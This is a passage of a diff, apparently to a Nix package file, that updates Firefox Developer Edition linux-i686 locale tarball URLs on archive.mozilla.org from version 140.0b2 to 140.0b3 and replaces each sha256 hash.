+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/ga-IE/firefox-140.0b3.tar.xz";
       locale = "ga-IE";
       arch = "linux-i686";
-      sha256 = "2e43d6679a844f9241110f67a785525b09124f004d697b41400686851a45811a";
+      sha256 = "feaa4b8a1e69bfac278bce8e7ec4baf3a18438fabb2634229b449f4a6a8071e7";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/gd/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/gd/firefox-140.0b3.tar.xz";
       locale = "gd";
       arch = "linux-i686";
-      sha256 = "a51f8e4c872a39f307bbd8c71e56a3f90d84163feed7ca79067ab0f51f7eef11";
+      sha256 = "f8ed901391214851f1a82bef8659c54596b9dbd221e5845a9b81e40f46d3dd25";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/gl/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/gl/firefox-140.0b3.tar.xz";
       locale = "gl";
       arch = "linux-i686";
-      sha256 = "24fdfac7aa372ea38d4ce642b5e30cdd49c46428e5431b004f368c40d52a450e";
+      sha256 = "bb166811df4e679eee8aa0e371de27c8473308f3f24d6a4e91310f2700f6a10a";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/gn/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/gn/firefox-140.0b3.tar.xz";
       locale = "gn";
       arch = "linux-i686";
-      sha256 = "9f81e0d531c7a9826889328afcd0e8e8c29cf00b253b0b6ef420fb798ea3d2de";
+      sha256 = "9175d366055317304a7af2250fd25fea929314fc360787403b486400bdd1018e";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/gu-IN/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/gu-IN/firefox-140.0b3.tar.xz";
       locale = "gu-IN";
       arch = "linux-i686";
-      sha256 = "72ca1ecac233a4e8d51a70edc8d39d6bcbf036827e868b14c9d166c70a7140f6";
+      sha256 = "c147e7fc02111c32bb0845e8bebbe4be7f6e009c82d9b75c3ca62830fb4c0c95";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/he/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/he/firefox-140.0b3.tar.xz";
       locale = "he";
       arch = "linux-i686";
-      sha256 = "2cbffa2df9acd1b30b7e96b14e9dd7d9cc9658779fc24d87cf89f5a5989770df";
+      sha256 = "dfc43c4a430407d78b62b1148d6fa2b4aed91899bc337e1f4b879608b43afa70";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/hi-IN/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/hi-IN/firefox-140.0b3.tar.xz";
       locale = "hi-IN";
       arch = "linux-i686";
-      sha256 = "301469bd1372c6153612dda25c686461d55d5140e65a8f4048d9159b7fba67d9";
+      sha256 = "c8422bf72d6683c4088949622e765d5ad4da33d60dd94ef6ee435935060d22a8";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/hr/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/hr/firefox-140.0b3.tar.xz";
       locale = "hr";
       arch = "linux-i686";
-      sha256 = "b00411fb0539a1de5a4d025fc938f6352cd38f2a3d586d7c5023cea8d3fc976f";
+      sha256 = "d867c871b0bb1fd87395696dd4be6f4c4264e39ebec31f702f8d94331845fa69";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/hsb/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/hsb/firefox-140.0b3.tar.xz";
       locale = "hsb";
       arch = "linux-i686";
-      sha256 = "0e9daab014b58ca0b5b065ceb8429b576765ddf692886c0b2709f9cecda54373";
+      sha256 = "cf63b5e01ef1abde07f4c3a729263c4591c38ec20ec5b63da41c322fb9c0d40d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/hu/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/hu/firefox-140.0b3.tar.xz";
       locale = "hu";
       arch = "linux-i686";
-      sha256 = "d1ebe95c9ca85f7ad097a42f01728f7ca4b67e0b0325993cd7a8788bfaacf186";
+      sha256 = "bc5bf7b0485bf4c10c8db8347aae430b8817628c3d681069ba932a6f1d57ebec";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/hy-AM/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/hy-AM/firefox-140.0b3.tar.xz";
       locale = "hy-AM";
       arch = "linux-i686";
-      sha256 = "84d00b6cf98ff0a2ffc08ead1b7dc61e74f689d69a946f2ab8c0c7ce96299f3a";
+      sha256 = "c4d9b7c8eabd96bb7aa4a7931f8c824f8697defabf3bc58e9005ec35f932c5fa";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/ia/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/ia/firefox-140.0b3.tar.xz";
       locale = "ia";
       arch = "linux-i686";
-      sha256 = "54fff386745c615db563a7e1344ad4c0dfedbfe9ff1b69311fb96106130eda46";
+      sha256 = "5b7a33988ce0ec4c4cd1a76b19e52584bb90c558e53f0659b0821e17c3b0fa40";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/id/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/id/firefox-140.0b3.tar.xz";
       locale = "id";
       arch = "linux-i686";
-      sha256 = "d52a44a22505daf7236e289b1653b991d640c2b2be5a9ac4effe0a819e9ef063";
+      sha256 = "957752a35e35370f60a905a49a52356c50faeefcd786c2b9287e5b70c0e31a5d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/is/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/is/firefox-140.0b3.tar.xz";
       locale = "is";
       arch = "linux-i686";
-      sha256 = "f01b7bc84a711c72491dffe4be999cff939ba3fd433572f693d9e3a0a97d2a6a";
+      sha256 = "3c51a6c0cebc848f0995fdfaf09e7f2d9f22070d7f1dd21f3b80512efd053dbd";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/it/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/it/firefox-140.0b3.tar.xz";
       locale = "it";
       arch = "linux-i686";
-      sha256 = "b885a44f52597ece4a719245709263626fefdc94702162523d0c6392e95a9817";
+      sha256 = "4f51222201514d7ba5ea82b106879275c193b2efa4bdd33ff1a7794c1e51a165";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/ja/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/ja/firefox-140.0b3.tar.xz";
       locale = "ja";
       arch = "linux-i686";
-      sha256 = "5deaef5a05465c8bfa5f10480f0c0928a498c1b5f495e198bbf5bb187c2139dd";
+      sha256 = "edde8d936d28d02514a05418571fb94fc8ac6d7b6391ac7527e04145e7f639ce";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/ka/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/ka/firefox-140.0b3.tar.xz";
       locale = "ka";
       arch = "linux-i686";
-      sha256 = "6c8ea6cab65bae0429c9f63b906e63f40233a01dffb061b0c37d60b0c966346d";
+      sha256 = "bdc2d130e7fdd4ec2524537038a1f6f4959417565a0c382af7d882bd8cdafdbc";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/kab/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/kab/firefox-140.0b3.tar.xz";
       locale = "kab";
       arch = "linux-i686";
-      sha256 = "2c1b647450c0e179548aef5794a596e2053322be9c4b36da78616cad106537b6";
+      sha256 = "dbe8a9ebccb41f1b2651518baab3ee626c955b2c499ad059803c8f8360d857c3";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/kk/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/kk/firefox-140.0b3.tar.xz";
       locale = "kk";
       arch = "linux-i686";
-      sha256 = "36349bedecc9a5d3cc4eca66232925583b82a5f9b7ec2104259f7e5ab2704041";
+      sha256 = "f21596ce29b3e5cce2aef7a6bdcbf53886e09ca1eb8288a4192f0bc74a6cf31d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/km/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/km/firefox-140.0b3.tar.xz";
       locale = "km";
       arch = "linux-i686";
-      sha256 = "a50643354ee4c99602b2a31c6ab79a651a6a74692eee373c988c0ccba8ae9574";
+      sha256 = "51f013bb4d063cb177a6427c603f7bc6b9b6363549fc7b15088e872078b4adc7";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/kn/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/kn/firefox-140.0b3.tar.xz";
       locale = "kn";
       arch = "linux-i686";
-      sha256 = "bf484b8f53ce0703250f4ae0adca41b327addd29319a99087a930abaf92296d0";
+      sha256 = "109270210f06933d1fcf140c5771c281b21dd91ce31f116774f990da2483ff3f";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/ko/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/ko/firefox-140.0b3.tar.xz";
       locale = "ko";
       arch = "linux-i686";
-      sha256 = "4297f9355f72fbbddb7a337f0de9877c88cfe6a74b98262791d4eea48a9e8b44";
+      sha256 = "fd8790433e4b98e959d409ae606388106c86d7c2a039445fbc3e82a8e382fec8";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/lij/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/lij/firefox-140.0b3.tar.xz";
       locale = "lij";
       arch = "linux-i686";
-      sha256 = "d1128743a077f51f9dabfc3b949a64500dbe5936bd29347e0042ce118b5621f6";
+      sha256 = "da2c6890c5cb79d4a122f4b550e7cfec38920c2976ad3ac155d6d735ab0de102";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/lt/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/lt/firefox-140.0b3.tar.xz";
       locale = "lt";
       arch = "linux-i686";
-      sha256 = "ca2d1ae064e99bd1cc490b8d47cac1a342419ab23a3dd39919873d102d416d7f";
+      sha256 = "c92278eb5526b2ec381e394bee7229c0a5f7177c6516059cd8dc2636f0d99bb9";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/lv/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/lv/firefox-140.0b3.tar.xz";
       locale = "lv";
       arch = "linux-i686";
-      sha256 = "cab179bfcd42b5a93311a3b0e7d298ff1130e17c5c5493b8321693b9149b5b48";
+      sha256 = "e4d1a0820c21a00722a5b41df3c559b318108281e6fb552d51320fbf6d7bab54";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/mk/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/mk/firefox-140.0b3.tar.xz";
       locale = "mk";
       arch = "linux-i686";
-      sha256 = "ddbf2ffebf122e83bc865808782cb3d1e0700cc29467b6ad8506ee03499580bf";
+      sha256 = "119900c5589efbba5c192da8ea7d770dd9184932da0c4bbb6d3213a358c1c055";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/mr/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/mr/firefox-140.0b3.tar.xz";
       locale = "mr";
       arch = "linux-i686";
-      sha256 = "b7635fbe1baff6f7edeb4b832aabd21d12582a7c66cd086b95b0a02aebba4f56";
+      sha256 = "66a8229b2dd946d4396b3ccd2af55fcab0dcec3468ee2b334e2ad2a2029cbe34";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/ms/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/ms/firefox-140.0b3.tar.xz";
       locale = "ms";
       arch = "linux-i686";
-      sha256 = "953a47f53c007d2cf02b22a787e8c476c763ebc5b15796973cc406d34301440c";
+      sha256 = "215a550a78d4656fde841d2baf4083e3f90a9954fd99ed55c82e5392577de31d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/my/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/my/firefox-140.0b3.tar.xz";
       locale = "my";
       arch = "linux-i686";
-      sha256 = "a6ff85aead2ee5d55bcf055a42452d44439b9a51ae25b5336a3b22a573c0b46a";
+      sha256 = "e4579d6e87b52b690e0fbbf71af53402a9261ab5556ce1284051639a9da2d215";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/nb-NO/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/nb-NO/firefox-140.0b3.tar.xz";
       locale = "nb-NO";
       arch = "linux-i686";
-      sha256 = "ae4dadeba15ae17d3307f09392ebb3f85f0212332f9a9a857ba5b6118452c2cf";
+      sha256 = "a051053384c01772340ac9cae9c377d97a6ab59e627f5f1e8c1b8fa2768c92e6";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/ne-NP/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/ne-NP/firefox-140.0b3.tar.xz";
       locale = "ne-NP";
       arch = "linux-i686";
-      sha256 = "28e20f4d661bd7e95495155249faecf8fbb5e7e654298ed1fbdd62cc971476e0";
+      sha256 = "693c42f47289df67ccfdcce9a3d0da796d8ebe84639cd90c14db5af434f13013";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/nl/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/nl/firefox-140.0b3.tar.xz";
       locale = "nl";
       arch = "linux-i686";
-      sha256 = "dafc7696a404c8fad558b649677988c076c5eb4685fb801840710657631c5356";
+      sha256 = "5532fcebc2aee242934b40e084e2b8c8f29fbce387bed373bd25564489bedf77";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/nn-NO/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/nn-NO/firefox-140.0b3.tar.xz";
       locale = "nn-NO";
       arch = "linux-i686";
-      sha256 = "992fe42be2e1521e85b9f5baed59f0e87ed71bf62c99190801bf9c2f5f5351f9";
+      sha256 = "50292d5b83535f8ff85f2eeb184eef5abf684cc2698766d7454f2a0e1e9297ba";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/oc/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/oc/firefox-140.0b3.tar.xz";
       locale = "oc";
       arch = "linux-i686";
-      sha256 = "accf61fd69c7e00bdd48163403b6bbacb37202a2db113983fbaf8dc1a3598b0b";
+      sha256 = "7ae1beeb5c4062d8407e811432eac653615f830d35a90dd8217d31fc98caeaf3";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/pa-IN/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/pa-IN/firefox-140.0b3.tar.xz";
       locale = "pa-IN";
       arch = "linux-i686";
-      sha256 = "6fe0de8669c63d79837ea4dc062f4550b5ee709446c24cdb54572fa9a3916469";
+      sha256 = "c47af05a8d08e396de06697f09e7978eac8fe2c2267187a6337dd124ed5a8f77";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/pl/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/pl/firefox-140.0b3.tar.xz";
       locale = "pl";
       arch = "linux-i686";
-      sha256 = "71d4c24b490678d5941caa81eb9206c8aef0688eb6d134766588b2ba1a4fd808";
+      sha256 = "e05f6d2e4f8489507eb087558a11d59e478f7fd0c9bf6ad4279960e065588fac";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/pt-BR/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/pt-BR/firefox-140.0b3.tar.xz";
       locale = "pt-BR";
       arch = "linux-i686";
-      sha256 = "85a69113a9348f3aea241a7de7439dea2c3ce3768ddd8d4b2a3ca5c1769059fe";
+      sha256 = "8ae07d27437f29333b9e0e90e17240db50edd1fb148da4d6a5cebef31e6cd826";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/pt-PT/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/pt-PT/firefox-140.0b3.tar.xz";
       locale = "pt-PT";
       arch = "linux-i686";
-      sha256 = "4586e1e50cb48044075c4128ae7671d23daa9ea186c8d60272aed76ac5d3bc7c";
+      sha256 = "2921ad599cad7a906d9e58cf0822d96eb074915c1729579345426ce0aeca94ce";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/rm/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/rm/firefox-140.0b3.tar.xz";
       locale = "rm";
       arch = "linux-i686";
-      sha256 = "d06072037678bb49711952a3f5c7a082b0a39258bbbc951578110ab7f1314bf8";
+      sha256 = "e02b76f0e858bbc91b90cea52f4385d26e96cb9e1394b765d09310830974029f";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/ro/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/ro/firefox-140.0b3.tar.xz";
       locale = "ro";
       arch = "linux-i686";
-      sha256 = "cdc758063dc9dff54e5d4ca6809798e239c7e096ab7c21c91738c86bd50c4499";
+      sha256 = "6fc5c8e17bc5e2fe3fa47e68bfc095e131c491c9db572731ac31a8477a9571ab";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/ru/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/ru/firefox-140.0b3.tar.xz";
       locale = "ru";
       arch = "linux-i686";
-      sha256 = "094f692ad849c608df35112dcaab251f3710145fd28a6426f578d984de4e2bef";
+      sha256 = "7da9cacabac3247e5e64a0a29932b61c6c7b57028464e3c5d73b9523b48f42af";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/sat/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/sat/firefox-140.0b3.tar.xz";
       locale = "sat";
       arch = "linux-i686";
-      sha256 = "5922623b038eb20d5e600d1dfe48af7cadf9e731de85abb5fa12f6e11b59629b";
+      sha256 = "fb4ecb61c01b11286b1ceeee25720e85a579ee60b4d3be319b8dc4a8c8d51354";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/sc/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/sc/firefox-140.0b3.tar.xz";
       locale = "sc";
       arch = "linux-i686";
-      sha256 = "922dd68c7737deab349f55f8c978a2408e6d405b5a6add9c9ec0728dac4d8e72";
+      sha256 = "935dff48a2d0c0e5ebaa866c9d3fb7f6e8020afe6abb4a29efb2fb5f9ff56d7f";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/sco/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/sco/firefox-140.0b3.tar.xz";
       locale = "sco";
       arch = "linux-i686";
-      sha256 = "b5aa0dc79307853f86a37404d9bc42fbedbd94d94c5d65b2600e4505ff4a8553";
+      sha256 = "e74d5c2e9ea815c3665eddb06d556581365b827c0c5020db818afcebd0935921";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/si/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/si/firefox-140.0b3.tar.xz";
       locale = "si";
       arch = "linux-i686";
-      sha256 = "3b43ce4e8f2ff93ce083d4202269ca316c7f74407b30386b0cb8c290dc88b895";
+      sha256 = "b32f8f8d8a5ab761cf49edeb3272e1348a3afc3304024e208156455068be7bee";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/sk/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/sk/firefox-140.0b3.tar.xz";
       locale = "sk";
       arch = "linux-i686";
-      sha256 = "38d4002072a718b74a479e5c733a572565e761a68b906bd7f0e0bc6fd896366a";
+      sha256 = "ccc9aca453f15affe6b2568a5e99f513ecae3e53c3c6d65c2656d4fcc3f5a692";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/skr/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/skr/firefox-140.0b3.tar.xz";
       locale = "skr";
       arch = "linux-i686";
-      sha256 = "39bb8166cb65e836fa2d4462c8af2bda38ce896b918304a776f1d2cce1419f98";
+      sha256 = "742dc2b55ccf1f8edf25b238e2a296f0ab93f8391c7ef7f59f8051bc22638284";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/sl/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/sl/firefox-140.0b3.tar.xz";
       locale = "sl";
       arch = "linux-i686";
-      sha256 = "6c72f3e2c35c677ef755e9dfa39ff8c9947a341b4b91d3a8906350fa9395030c";
+      sha256 = "bf44954dc276d5c3713f692d1e95f4abd7fb9b6038a06da6e3adbef9fd7afec1";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/son/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/son/firefox-140.0b3.tar.xz";
       locale = "son";
       arch = "linux-i686";
-      sha256 = "2d0711bdbfc89da98a0baa43ce8ef0027c86aa7db78b0a1bd18672b667ab0e30";
+      sha256 = "6a8e296c807ece35c0cdc25ccfe8bbc920cb8db884d528e7abbfe6d7a01fe498";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/sq/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/sq/firefox-140.0b3.tar.xz";
       locale = "sq";
       arch = "linux-i686";
-      sha256 = "1435a9477d2040a926eae4161026f7d343c15dd154af39c785fd0c69a60ccb10";
+      sha256 = "99303596de408afb5a9a7495841e7a4849e6cbdad6486f03d7ddd8e2478ae939";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/sr/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/sr/firefox-140.0b3.tar.xz";
       locale = "sr";
       arch = "linux-i686";
-      sha256 = "ce3002b8360b73d0ad16175dc65ced8a6a5051b01947ef747bf7aa4bbd2c9ac1";
+      sha256 = "672ce8ba090be9d2eab274bbc6f6209035891a2142891996f84f5ffa340b21b9";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/sv-SE/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/sv-SE/firefox-140.0b3.tar.xz";
       locale = "sv-SE";
       arch = "linux-i686";
-      sha256 = "56dbd4190064e6f4e34d85c25771b30decdf97c7050336badb6875137780c70b";
+      sha256 = "feb4a6af8546de1d53d8f69a3f72ea96f30dc3ff73846a86c92ebe603836e8ec";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/szl/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/szl/firefox-140.0b3.tar.xz";
       locale = "szl";
       arch = "linux-i686";
-      sha256 = "a3f255842ba2050b100d26ee84a6afb31665f8dbe701db7557449b14672a3c12";
+      sha256 = "d2c4a0d99a6c2442da50c2ee1af11a7d324e822fa4671d19db11a30c51f56f23";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/ta/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/ta/firefox-140.0b3.tar.xz";
       locale = "ta";
       arch = "linux-i686";
-      sha256 = "73f008cf652c7a4453d710674d9d8c635e1feb3187f615a087b3ec87b4b16035";
+      sha256 = "99ba555f100864b97986e92fef81ff241926047361f7da3c4cc903fcd49910c8";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/te/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/te/firefox-140.0b3.tar.xz";
       locale = "te";
       arch = "linux-i686";
-      sha256 = "4307336f634d2bd01aacaeeab52bc995cbc127bc8fd5d9503dbec7c24a4d2f0d";
+      sha256 = "585bba59996f2db750fab194186aae4f8ddf830de6e02fb903002b9e26899ec9";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/tg/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/tg/firefox-140.0b3.tar.xz";
       locale = "tg";
       arch = "linux-i686";
-      sha256 = "97b28078ce5f731948c1e12f0920fa4a307a03d2ed65efe12019ec29b23ab7a9";
+      sha256 = "6b27c5273af61abb038a30b5c1f13458c6fa887998b33226dada878b8a089fad";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/th/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/th/firefox-140.0b3.tar.xz";
       locale = "th";
       arch = "linux-i686";
-      sha256 = "c159df215ddea3e0372cc738d13897a89470031d4302a0d28612ace823ce1398";
+      sha256 = "d858fb1c0c0e699b02bff7da2561b8c47f8e85b8d7cc5be1880711e902a28df7";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/tl/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/tl/firefox-140.0b3.tar.xz";
       locale = "tl";
       arch = "linux-i686";
-      sha256 = "bd888218d668794483dc75778fbe4afd83443a655b9eaf2c9b367cf32c95d7c7";
+      sha256 = "eb204c1e397ea6832a60948f9a66b56d89270fef2c3953bdfda9815dc6ed86f7";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/tr/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/tr/firefox-140.0b3.tar.xz";
       locale = "tr";
       arch = "linux-i686";
-      sha256 = "88b9244ee99bdd1ffd602df92cd25d02b240ff4aa3a45cd931c0bd9f5d4c9893";
+      sha256 = "0f942450baa484c2902471e623966dbae50f8e11c2980fba116b9d7fc594b50a";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/trs/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/trs/firefox-140.0b3.tar.xz";
       locale = "trs";
       arch = "linux-i686";
-      sha256 = "14278135b7debd30d31853d9189ec21f400c2d32cc8a390f1e01675f26aec36c";
+      sha256 = "25be16633f1503c90fcb001f2b126fc62feea6e299bb2d5d9b54d5947eaa1b65";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/uk/firefox-140.0b2.tar.xz";
